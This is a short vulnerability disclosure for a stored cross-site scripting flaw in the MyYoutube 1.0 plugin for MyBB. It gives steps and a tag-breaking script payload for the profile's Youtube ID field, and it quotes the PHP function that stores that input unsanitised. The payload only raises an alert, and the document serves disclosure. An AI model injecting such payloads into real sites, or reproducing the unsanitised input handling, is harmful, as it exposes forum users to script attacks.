# Exploit Title: MyYoutube MyBB Stored XSS
# Date: 17.12.2012
# Exploit Author: limb0
# Vendor Homepage: http://www.mybb-es.com/
# Software Link: http://mods.mybb.com/view/myyoutube
# Version: 1.0
# Category:Web Security
# Tested on: Linux

+-----------------------------------------------------+
                    Stored-XSS

Installation Instructions:
1.Download and Activate the Plugin
2.Go to Usercp >> Edit Profile >> Youtube ID:
3.Inject your code: "></embed></object><script>alert("Youtube XSS")</script>
4.Visit your profile and voila.

Proof:http://postimage.org/image/lnnmc80rp/
+------------------------------------------------------+
Vulnerable lines:
function youtube_update($ytb)
{
        global $mybb;
        if(isset($mybb->input['ytb']))
        {
                $ytb->user_update_data['ytb'] = $mybb->input['ytb'];
        }
}